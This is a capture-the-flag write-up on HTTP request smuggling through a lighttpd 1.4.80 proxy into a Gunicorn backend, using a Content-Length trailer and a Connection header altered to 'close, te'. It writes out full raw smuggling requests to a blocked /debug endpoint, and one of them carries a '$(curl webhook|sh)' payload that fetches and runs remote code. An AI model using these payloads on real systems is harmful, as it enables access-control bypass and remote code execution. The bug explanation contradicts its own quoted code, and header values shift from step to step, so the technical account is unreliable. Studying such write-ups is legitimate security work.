Request Smuggling n day (lighttpd1.4)

Solution of CTF challenge from m0lecon CTF 2025 (trailing-danger)

Challenge Code:

3KB
Open

In this writeup I am only going to focus on n-day request smuggling exploit rather than full Solution.

HTTP Request Smuggling: The Trailing Danger Exploit Explained

What is Request Smuggling?

Imagine you're at a restaurant. You tell the waiter "I want 1 burger" but somehow the kitchen receives "I want 1 burger AND a free steak". That extra order sneaked through - that's basically request smuggling!

In web security, request smuggling happens when:

  1. A proxy (front door) sees ONE request

  2. A backend server (kitchen) sees TWO requests

  3. The second request bypasses all the proxy's security checks

The Setup

[You] → [Lighttpd Proxy] → [Gunicorn Backend]
         (Security Guard)    (Actual Server)

The proxy has a rule: "Nobody can access /debug endpoint!"

But we're going to smuggle a request to /debug anyway...

The Bug: A Simple Mistake in Code

In Lighttpd 1.4.80, there's a function http_request_trailer_check() in src/request.c (line ~1478) that checks if certain headers are allowed in "trailers" (headers sent AFTER the request body).

What are trailer headers?

POST / HTTP/1.1
Host: localhost:3002
Transfer-Encoding: chunked
Connection: cl
TE: trailers 

a
1234567890
0
SomeHeader: Value <----- These are trailer headers, that can be send after body
Content-Length: 0 <----- Conent Length header should not be allowed in trailer, that's the bug

Trailer headers are headers send after the request body, these headers are merged back into main headers which causes confusion.

above request after merge will have following headers

Transfer-Encoding: chunked
Connection: cl
TE: trailers 
SomeHeader: Value <- after merge
Content-Length: 0 <-- after merge

Generally any server would rejects if we send both Transfer-Encoding: chunked and Content-Length headers, but in this case , content-length headers is merged later into main headers

RFC only few headers are allowed as trailer headers and thats the main bug(i.e Content-length headers shouln't in Trailers)

The Vulnerable Code (request.c:1478, it should have rejected content-length in trailer)

const enum http_header_e id = tpctx->id =
  http_header_hkey_get(tpctx->k, tpctx->klen);
if (__builtin_expect( (id != HTTP_HEADER_OTHER), 1)) {
    /* explicitly reject certain field names disallowed in trailers */
    if (id
        & (light_bshift(HTTP_HEADER_AUTHORIZATION)
          |light_bshift(HTTP_HEADER_AGE)
          |light_bshift(HTTP_HEADER_CACHE_CONTROL)
          |light_bshift(HTTP_HEADER_CONNECTION)        // ← Should reject Connection!
          |light_bshift(HTTP_HEADER_CONTENT_ENCODING)
          |light_bshift(HTTP_HEADER_CONTENT_LENGTH)    // ← Should reject Content-Length!
          // ... more headers ...
          |light_bshift(HTTP_HEADER_TE)                // ← Should reject TE!
          |light_bshift(HTTP_HEADER_TRANSFER_ENCODING)
          |light_bshift(HTTP_HEADER_UPGRADE)           // ← Should reject Upgrade!
          // ... more headers ...
          ))
        return http_request_header_line_invalid(r, 400,
          "forbidden trailer");
}

The Problem: When a trailer header name is NOT recognized (like "Content-Length", "Connection", "TE"), id gets set to HTTP_HEADER_OTHER which has value 0.

The check becomes:

if (0 & (light_bshift(HTTP_HEADER_CONNECTION) | ...)) {
    // 0 & ANYTHING = 0 (false)
    // This NEVER executes!
}

So any unrecognized header name bypasses the forbidden check! Headers like Content-Length, Connection, TE, Upgrade pass through even though they're in the forbidden list.

First Attempt: Using Content-Length Trailer (Almost Works!)

Let's try a simpler attack first:

POST / HTTP/1.1
Host: localhost:3002
Transfer-Encoding: chunked

6c
POST /debug HTTP/1.1
Host: localhost:8001
Content-Type: application/json
Content-Length: 10

_smuggled_
0
Content-Length: 0

What happens:

  1. Lighttpd dechunks the request

  2. Lighttpd sees trailer Content-Length: 0

  3. BUG! Trailer passes validation and gets merged

  4. Lighttpd forwards to backend:

POST / HTTP/1.1
Content-Length: 0        ← From trailer!
Connection: close        ← mod_proxy always adds this

POST /debug HTTP/1.1     ← Body of above request
Host: localhost:8001
Content-Type: application/json
Content-Length: 10

_smuggled_

Backend processing:

  1. Gunicorn sees POST / with Content-Length: 0

  2. Gunicorn reads 0 bytes of body (ignores the rest)

  3. Gunicorn responds to first request

  4. Gunicorn sees Connection: close

  5. Gunicorn closes the connection ❌ The second request (POST /debug) is never processed!

We need a way to keep the connection open... 🤔

How Trailers Poison the Connection Header

Here's the clever trick that makes request smuggling possible:

The Dilemma:

  • mod_proxy always sends Connection: close to backends

  • If backend sees Connection: close, it closes the connection after the first request

  • No connection = No smuggling! 😢

The Solution: We need to poison the Connection header so it's NOT recognized as "close" by the backend!

Step 1: Send the Attack Request

POST / HTTP/1.1
Host: localhost:3002
Transfer-Encoding: chunked
Connection: xxxx
TE: trailers

6c
POST /debug HTTP/1.1
Host: localhost:8001
Content-Type: application/json
Content-Length: 10

_smuggled_
0
Content-Length: 0

Notice:

  • We send Connection: xxxx in the initial headers (so that we dont force close)

  • We send TE: trailers in the initial headers (tells proxy we'll send trailers)

  • We send Content-Length: 0 as a trailer (after the chunks end)

Step 2: Lighttpd Processes the Request

  1. Lighttpd dechunks the request

  2. Lighttpd sees the trailer Content-Length: 0

  3. BUG! The trailer passes validation (because id=0 bypasses the check)

  4. The trailer gets merged into the request headers

Now the request headers look like:

Connection: close
TE: trailers
Content-Length: 0  ← Added from trailer!

Step 3: mod_proxy Builds the Backend Request

mod_proxy loops through the headers and sees:

  • TE: trailers → Sets internal variable te = &ds->value

  • Connection: close → Notes it but doesn't forward it

Then mod_proxy builds the Connection header for the backend:

buffer_append_string_len(b, CONST_STR_LEN("\r\nConnection: close"));
if (te)
    buffer_append_string_len(b, CONST_STR_LEN(", te"));  // ← APPENDS ", te"!

Result: The backend receives:

POST / HTTP/1.1
Content-Length: 0
Connection: close, te    ← POISONED!!! yipee (gunicorn only closes connection if its exactly close)

POST /debug HTTP/1.1
Host: localhost:8001
Content-Type: application/json
Content-Length: 10

{"ip":"s"}

Step 4: Gunicorn Misinterprets the Connection Header

Gunicorn reads Connection: close, te and thinks:

  • "Hmm, this says 'close, te'"

  • "That's not exactly 'close'"

  • "I'll keep the connection open!" ✅

Step 5: Request Smuggling Happens!

  1. Gunicorn processes the first request: POST / with Content-Length: 0

  2. Gunicorn sends a response

  3. Connection stays open (because Connection: close, teConnection: close)

  4. Gunicorn reads more data from the buffer

  5. Gunicorn sees: POST /debug...

  6. Smuggled request! This bypasses the proxy's security rules!

The Magic:

  • The TE: trailers header in the initial request causes mod_proxy to append , te to the Connection header

  • This "poisons" the Connection header so Gunicorn doesn't recognize it as "close"

  • The connection stays open, enabling request smuggling!

Working Exploit Works

The Attack Request

POST / HTTP/1.1
Host: localhost:3002
Transfer-Encoding: chunked
Connection: cl
TE: trailers

6c
POST /debug HTTP/1.1
Host: localhost:8001
Content-Type: application/json
Content-Length: 10

_smuggled_
0
Content-Length: 0

Breaking it down:

  1. Initial headers include TE: trailers - Tells proxy we'll send trailers

  2. Connection: xxxx - Any value that's not "close"

  3. Transfer-Encoding: chunked - Body sent in chunks

  4. 6c - Chunk size: 108 bytes (0x6c in hex)

  5. Chunk data - Contains a COMPLETE second HTTP request to /debug

  6. 0 - End of chunks

  7. Content-Length: 0 - This is a TRAILER (sent after body ends)

Step 2: Lighttpd Gets Confused

Lighttpd processes this:

  1. ✅ "OK, chunked encoding, let me dechunk this..."

  2. ✅ "Now I have trailers, let me merge them into headers..."

  3. BUG! "These trailer names look fine to me!" (They shouldn't be!)

  4. 🤦 Lighttpd creates this request to send to backend:

POST / HTTP/1.1
Content-Length: 0           ← From trailer (WRONG!)
Connection: close, te       ← Modified by trailer (WRONG!)

POST /debug HTTP/1.1        ← This is now the "body"
Host: localhost
Content-Type: application/json
Content-Length: 50

{"ip":"::1%$(curl webhook|sh)"}

Step 3: Gunicorn Gets REALLY Confused

Gunicorn (the backend) reads this and thinks:

  1. "First request: POST / with Content-Length: 0"

  2. "Body is empty, let me respond..."

  3. "Wait, should I close the connection?"

  4. "Hmm, Connection: close, te... that's not exactly Connection: close"

  5. "I'll keep the connection open!" ← CRITICAL MISTAKE

  6. "Oh look, there's more data in the buffer!"

  7. "It looks like another HTTP request: POST /debug"

  8. "Let me process this second request..." ← SMUGGLED REQUEST!

Step 4: Security Bypassed! 🚨

The /debug request never went through the proxy's security check!

Proxy's view:  1 request to "/"        ✅ Allowed
Backend's view: 1 request to "/"       ✅ Processed
                1 request to "/debug"  🚨 SMUGGLED! (bypassed proxy rules)

Why Does This Work?

Bug #1: Trailer Merge (Lighttpd)

  • Lighttpd allows dangerous headers in trailers due to the bitwise check bug

  • These trailers modify the forwarded request

Bug #2: Connection Parsing (Gunicorn)

  • RFC says: Connection: close, te should close the connection

  • Gunicorn only recognizes literal Connection: close

  • So Connection: close, te keeps the connection alive!

The Combo

  1. Trailer bug lets us inject Connection: close, te

  2. Connection parsing bug keeps connection alive

  3. Backend reads "leftover" data as a new request

  4. That new request bypasses all proxy security!

Visual Timeline

Time →

[Client sends]
┌─────────────────────────────────────┐
│ POST / (chunked)                    │
│ Chunk: [POST /debug ...]           │
│ Trailers: Content-Length, Connection│
└─────────────────────────────────────┘

[Lighttpd processes]
┌─────────────────────────────────────┐
│ Dechunk ✓                           │
│ Merge trailers ✗ (BUG!)            │
│ Forward to backend                  │
└─────────────────────────────────────┘

[Gunicorn receives]
┌─────────────────────────────────────┐
│ POST / (CL:0, Connection:close,te)  │
│ [POST /debug ...] ← in buffer       │
└─────────────────────────────────────┘

[Gunicorn processes]
┌─────────────────────────────────────┐
│ Request 1: POST / → Response sent   │
│ Connection stays open ✗ (BUG!)     │
│ Request 2: POST /debug → SMUGGLED!  │
└─────────────────────────────────────┘

References


Last updated